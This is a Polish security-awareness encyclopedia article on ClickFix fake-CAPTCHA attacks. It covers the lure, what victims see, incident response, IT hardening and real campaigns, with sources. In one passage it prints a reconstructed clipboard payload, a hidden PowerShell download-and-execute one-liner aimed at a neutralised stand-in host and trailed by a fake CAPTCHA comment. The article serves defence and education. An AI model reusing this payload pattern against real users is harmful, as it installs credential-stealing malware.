Cyberpediaod Brain
PLDEENESFRITNLPT

ClickFix i fałszywe captche

Fałszywa weryfikacja „Nie jestem robotem” każe wkleić polecenie w oknie Windows+R. Jak działa ClickFix i co zrobić, gdy już się to stało.

W 30 sekund

Odruch
Żadna uczciwa weryfikacja nie każe wklejać czegokolwiek do okna Uruchamianie, do PowerShella ani do Terminala. Jeśli strona tego żąda, proszę ją zamknąć.
Gdzie to się zdarza
Na stronach internetowych, często znanych, które zostały włamane, oraz w załącznikach udających dokument Word.
Czego chce atakujący
Żeby Pan/Pani sam(a) uruchomił(a) polecenie, które instaluje na komputerze program kradnący hasła albo zdalny dostęp.
Jeśli to już się stało
Proszę odłączyć kabel sieciowy lub wyłączyć Wi-Fi, zostawić komputer włączony i od razu zadzwonić do wsparcia IT.

O co chodzi

ClickFix to technika inżynierii społecznej, w której ofiara sama instaluje złośliwe oprogramowanie. Strona internetowa lub załącznik wyświetla fałszywy błąd albo fałszywą weryfikację „Nie jestem robotem”, a potem instrukcję: otworzyć okno poleceń Windows, wkleić, zatwierdzić. Strona zdążyła już umieścić polecenie w schowku i właśnie to polecenie ofiara uruchamia, nie przeczytawszy go1.

Proofpoint zaobserwował tę metodę już w marcu 2024 roku. Nazwa pochodzi od serii fałszywych alertów o aktualizacji przeglądarki, wykrytej w połowie kwietnia 2024 roku, którą badacze ochrzcili ClickFix2. Od jesieni 2024 roku cyberprzestępcy coraz częściej prowadzą takie kampanie, zauważa ANSSI3. Według ESET ClickFix wzrósł o ponad 500% między drugim półroczem 2024 a pierwszym półroczem 2025 roku i stał się drugim co do częstości wektorem ataku po phishingu4.

Pytania wprost

Czy prawdziwy captcha może prosić o naciśnięcie Windows+R?

Nie. Captcha rozwiązuje się na stronie: pole wyboru, wybór obrazków, czasem nic. Google radzi zachować ostrożność wobec każdej strony, która każe opuścić przeglądarkę i uruchamiać polecenia na urządzeniu5.

Wkleiłem(-am) polecenie, ale nie nacisnąłem(-nęłam) Enter. Czy jestem zainfekowany(-a)?

To zależy od okna. W oknie Uruchamianie nic nie rusza, dopóki nie naciśnie Pan/Pani Enter2: proszę je zamknąć bez zatwierdzania. W PowerShellu lub w Terminalu wklejony tekst może wykonać się sam. W konsoli PowerShell samo kliknięcie prawym przyciskiem wkleja polecenie i je uruchamia2, a Microsoft radzi ustawić Terminal tak, by ostrzegał, gdy wklejany tekst ma kilka wierszy6. W każdym przypadku proszę powiadomić wsparcie IT: komputer może być zagrożony, a strona, która poprosiła o ten gest, nadal jest pułapką dla współpracowników.

Dlaczego antywirus nie zawsze blokuje atak?

Ponieważ to Pan/Pani uruchamia polecenie, narzędziem dostarczonym z Windows, a na początku nie ma żadnego pliku do przeskanowania. Według Proofpoint programy antywirusowe i narzędzia wykrywania na stacjach roboczych z trudem sprawdzają zawartość schowka, dlatego trzeba zablokować stronę-pułapkę, zanim się wyświetli2. Microsoft ocenia, że kampania ClickFix może w ten sposób ominąć klasyczne zabezpieczenia automatyczne6.

1W skórze atakującego1 min

Plik wykonywalny wysłany e-mailem lub pobrany z internetu przechodzi kilka kontroli, zanim będzie mógł się otworzyć. ClickFix je omija, powierzając niebezpieczny gest ofierze: nie ma już pliku, jest tylko wiersz tekstu do wklejenia1.

Przygotowanie takiej operacji wymaga niewielkiej wiedzy. W połowie września 2024 roku badacz opublikował na GitHubie „w celach edukacyjnych” otwartoźródłowy zestaw fałszywego reCAPTCHA, a Proofpoint znalazł go w złośliwych e-mailach kilka dni później7. Od końca 2024 roku Microsoft widzi, jak sprzedawcy oferują na forach przestępczych generatory ClickFix, nazywane „Win + R”, ze stronami imitującymi m.in. Cloudflare. Abonament kosztuje od 200 do 1500 dolarów miesięcznie. Pojedynczy element, jak kod źródłowy, strona startowa czy wiersz polecenia, kosztuje od 200 do 500 dolarów6.

Kliknięcie „weryfikuję” uruchamia skrypt, który w tle kopiuje polecenie do schowka6. Polecenie często kończy się fałszywym tekstem potwierdzenia, w rodzaju „I am not a robot: CAPTCHA Verification UID”6. Proofpoint wyjaśnia, do czego służy ten fałszywy komunikat na końcu polecenia: po wklejeniu polecenia do okna Uruchamianie ofiara nie widzi właściwego, złośliwego polecenia7. Pole tego okna przyjmuje nie więcej niż 259 znaków6, a wklejone polecenie zwykle tylko pobiera dalszy ciąg z serwera. PowerShell pozostaje do tego najczęściej używanym narzędziem Windows6.

Fragment
Co strona wstawia do schowka (przykład odtworzony, adres zneutralizowany):
powershell -w h -c "iwr hxxps://przyklad[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821

Co ofiara może zobaczyć w oknie Uruchamianie (ilustracja): fałszywy komunikat, nie polecenie.
...ex" # I am not a robot: CAPTCHA Verification UID: 4821
2Co widać na ekranie2 min

Typowy scenariusz: fałszywy captcha pojawia się przed stroną, którą chciał(a) Pan/Pani zobaczyć, często stylizowany na reCAPTCHA Google'a lub Turnstile Cloudflare6. Po kliknięciu captcha podaje instrukcje: otworzyć okno Uruchamianie klawiszem Windows i R, wkleić przez Ctrl+V, nacisnąć Enter. Taki scenariusz opisały CISA i FBI w alercie z maja 2025 roku o programie kradnącym dane LummaC28.

Dekoracje zmieniają się zależnie od celu. W marcu 2024 roku e-maile zawierały załącznik podobny do dokumentu Word, z komunikatem „rozszerzenie Word Online nie jest zainstalowane” i dwoma przyciskami, „How to fix” i „Auto-fix”2. Od grudnia 2024 roku kampania wymierzona w pracowników hotelarstwa podszywała się pod Booking.com: fałszywy captcha leżał na ledwo widocznej w tle kopii strony Booking.com9.

Nie warto ufać oprawie, która może wiernie naśladować Cloudflare, Google lub Booking.com. Sygnałem, który powinien zatrzymać, jest instrukcja: strona internetowa każe opuścić przeglądarkę i wkleić coś do okna systemowego. W programie Brain ten gest wiąże się z odruchem „Rozpoznawać sygnały manipulacji w treści e-maila”. Tutaj sygnałem manipulacji jest sama instrukcja postępowania, zarówno w e-mailu, jak i na stronie.

Jeśli polecenie zostało zatwierdzone, trzeba działać w ciągu kilku minut. Proszę odłączyć kabel sieciowy lub wyłączyć Wi-Fi, ale nie wyłączać komputera: w swojej karcie o ransomware Cybermalveillance.gouv.fr przypomina, że wyłączenie grozi skasowaniem dowodów zapisanych w pamięci, potrzebnych śledztwu10. Proszę zadzwonić do wsparcia IT lub zespołu bezpieczeństwa i powiedzieć, jakie konta były otwarte na komputerze. LummaC2, jeden z programów instalowanych w ten sposób, zabiera dane uwierzytelniające do usług finansowych, portfele kryptowalut, rozszerzenia przeglądarki i informacje o uwierzytelnianiu dwuskładnikowym8: te konta trzeba zabezpieczyć w pierwszej kolejności. Bez działu IT platforma 17cyber.gouv.fr proponuje ścieżkę pomocy10.

3Pod maskąZespoły IT1 min

Okno Uruchamianie należy do Eksploratora Windows (explorer.exe), składnika, któremu system ufa6. Każde polecenie pomyślnie uruchomione z tego okna zostawia ślad w kluczu rejestru RunMRU, który przechowuje historię wpisów. Microsoft radzi śledczym szukać tam wywołań powershell, mshta, rundll32, wscript, curl lub wget, czyli narzędzi Windows zdolnych pobierać lub wykonywać kod6. O roli PowerShella w atakach w ogóle mówi artykuł o wykonaniu przez interpreter poleceń.

Microsoft zaleca wyłączenie okna Uruchamianie przez zasady grupy dla osób, które go nie potrzebują, włączenie rejestrowania bloków skryptów PowerShell i ograniczenie dozwolonych aplikacji6. Google zachęca firmy, by domyślnie zabraniały użytkownikom uruchamiania skryptów5. CISA zaleca listę dozwolonych aplikacji i oddzielne konta do administrowania8.

Technika nie dotyczy już tylko Windows. W czerwcu 2025 roku kampania ClickFix wymierzona w użytkowników macOS instalowała program kradnący dane Atomic macOS Stealer6, a ESET opisuje ją jako zagrożenie dla Windows, Linuksa i macOS4.

4Analizy incydentówPrawdziwe przypadki2 min

Marzec 2024: TA571 i ClearFake

1 marca 2024 roku TA571, dystrybutor złośliwych e-maili, wysyła ponad 100 000 wiadomości do tysięcy organizacji z opisaną wyżej fałszywą stroną Word. W kampaniach wiosennych polecenie instaluje DarkGate, Matanbuchus lub NetSupport2. Już na początku kwietnia kampania ClearFake wstrzykuje fałszywe alerty do legalnych, włamanych stron. Proofpoint opisuje łańcuch, w którym jeden skrypt PowerShell mógł uruchomić pięć rodzin złośliwego oprogramowania, w tym program kradnący dane Lumma Stealer2.

Wrzesień 2024: fałszywe alerty GitHuba

18 września 2024 roku atakujący komentują lub zakładają zgłoszenia w repozytoriach GitHuba. Powiadomienia, które GitHub wysyła programistom, wyglądają jak alert bezpieczeństwa i prowadzą do fałszywej strony GitHuba z fałszywym reCAPTCHA. Polecenie instaluje Lumma Stealer, a Proofpoint naliczył co najmniej 300 poszkodowanych organizacji7.

Grudzień 2024: celem hotelarstwo

Microsoft śledzi pod nazwą Storm-1865 kampanię w barwach Booking.com. Celuje ona w pracowników hotelarstwa w Ameryce Północnej, Oceanii, Azji i Europie i instaluje m.in. XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot i NetSupport RAT9.

2025: do gry wchodzą służby wywiadowcze

Google zidentyfikował LOSTKEYS, program kradnący pliki, i przypisuje go grupie COLDRIVER, znanej też jako Callisto lub Star Blizzard. LOSTKEYS, zaobserwowany w styczniu, marcu i kwietniu 2025 roku, jest dostarczany na końcu łańcucha, który zaczyna się od fałszywego captcha: strona kopiuje polecenie PowerShell i prosi o uruchomienie go z okna Uruchamianie. Wśród niedawnych celów grupy są obecni i byli doradcy rządów zachodnich, dziennikarze i organizacje pozarządowe5. Według ANSSI operatorzy Callisto mieli również użyć tej techniki we wrześniu 2025 roku w kampaniach wymierzonych w członków społeczeństwa obywatelskiego w Rosji i organizacje pozarządowe zaangażowane na Ukrainie. Agencja wskazuje też, że co najmniej jedna kampania ClickFix została jej zgłoszona3.

Karta

Identyfikator
CP-011
Skrzydło
1. Ataki i techniki
Kompetencja Brain
Rozpoznawanie phishingu (detect_phishing)
Odruch Brain
cr-001
Schemat
G1 · Łańcuch ataku (Kill Chain)
Języki
de, en, es, fr, it, nl, pl, pt
Źródła
Źródła sprawdzone 26 października 2026: 10
ŹródłaŹródła: 10
  1. MITRE ATT&CK, „User Execution: Malicious Copy and Paste (T1204.004)”, 18 marca 2025. https://attack.mitre.org/techniques/T1204/004/ (dostęp 26 października 2026)
  2. Proofpoint, „From Clipboard to Compromise: A PowerShell Self-Pwn”, 17 czerwca 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (dostęp 26 października 2026)
  3. ANSSI, „Panorama de la cybermenace 2025”, 11 marca 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (dostęp 26 października 2026)
  4. ESET (WeLiveSecurity), „Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025”, 26 czerwca 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (dostęp 26 października 2026)
  5. Google Threat Intelligence Group, „COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs”, 7 maja 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (dostęp 26 października 2026)
  6. Microsoft Threat Intelligence, „Think before you Click(Fix): Analyzing the ClickFix social engineering technique”, 21 sierpnia 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (dostęp 26 października 2026)
  7. Proofpoint, „Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape”, 18 listopada 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (dostęp 26 października 2026)
  8. CISA et FBI, „Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations”, 21 maja 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (dostęp 26 października 2026)
  9. Microsoft Threat Intelligence, „Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware”, 13 marca 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (dostęp 26 października 2026)
  10. Cybermalveillance.gouv.fr, „Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?”, 3 czerwca 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (dostęp 26 października 2026)

Zacytuj ten artykuł

Brain, „ClickFix i fałszywe captche”, Cyberpedia, 2026. https://startbrain.io/cyberpedia/pl/articles/clickfix-falszywe-captche/

BibTeX 
@misc{brain_cp011_pl_2026,
  author = {Brain},
  title = {ClickFix i fałszywe captche},
  year = {2026},
  howpublished = {Cyberpedia},
  url = {https://startbrain.io/cyberpedia/pl/articles/clickfix-falszywe-captche/},
  note = {CC BY 4.0}
}
Licencja CC BY 4.0